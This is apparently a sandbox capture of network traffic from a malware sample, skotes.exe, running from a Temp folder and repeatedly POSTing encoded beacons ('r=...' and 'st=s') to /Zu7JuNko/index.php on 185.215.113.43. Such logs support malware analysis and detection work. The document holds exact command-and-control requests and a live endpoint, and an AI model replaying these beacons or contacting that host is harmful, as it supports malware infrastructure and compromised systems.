Nov 12, 2024 02:15:12.898605108 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:15:13.807097912 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:15:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	50080	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:15:15.446083069 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:15:16.375052929 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:15:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	50081	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:15:17.899267912 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:15:18.832850933 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:15:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	50082	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:15:20.464138985 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:15:21.396471977 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:15:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	50083	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:15:22.916075945 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:15:23.848736048 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:15:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	50084	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:15:25.477116108 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:15:26.398838997 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:15:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	50085	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:15:27.914468050 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:15:28.818346977 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:15:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	50086	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:15:30.461292982 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:15:31.367798090 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:15:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	50087	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:15:32.882781982 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:15:33.804397106 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:15:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	50088	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:15:35.429510117 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:15:36.347861052 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:15:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	50090	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:15:37.867774010 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:15:38.795746088 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:15:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	50091	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:15:40.429399967 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:15:41.332220078 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:15:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	50092	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:15:42.858870029 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:15:43.790477037 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:15:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	50093	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:15:45.431370974 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:15:46.349494934 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:15:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	50094	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:15:47.873996019 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:15:48.789160013 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:15:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	50095	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:15:50.414824963 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	50096	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:15:52.210251093 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:15:53.123281956 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:15:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	50097	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:15:54.758407116 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:15:55.700119972 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:15:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	50098	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:15:57.213896990 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:15:58.123035908 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:15:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	50099	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:15:59.758579016 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:16:00.674226999 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:16:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	50100	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:16:02.195821047 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:16:03.099414110 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:16:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	50101	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:16:04.729754925 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:16:05.635229111 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:16:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	50102	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:16:07.148426056 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:16:08.078263998 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:16:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	50103	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:16:09.710366964 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
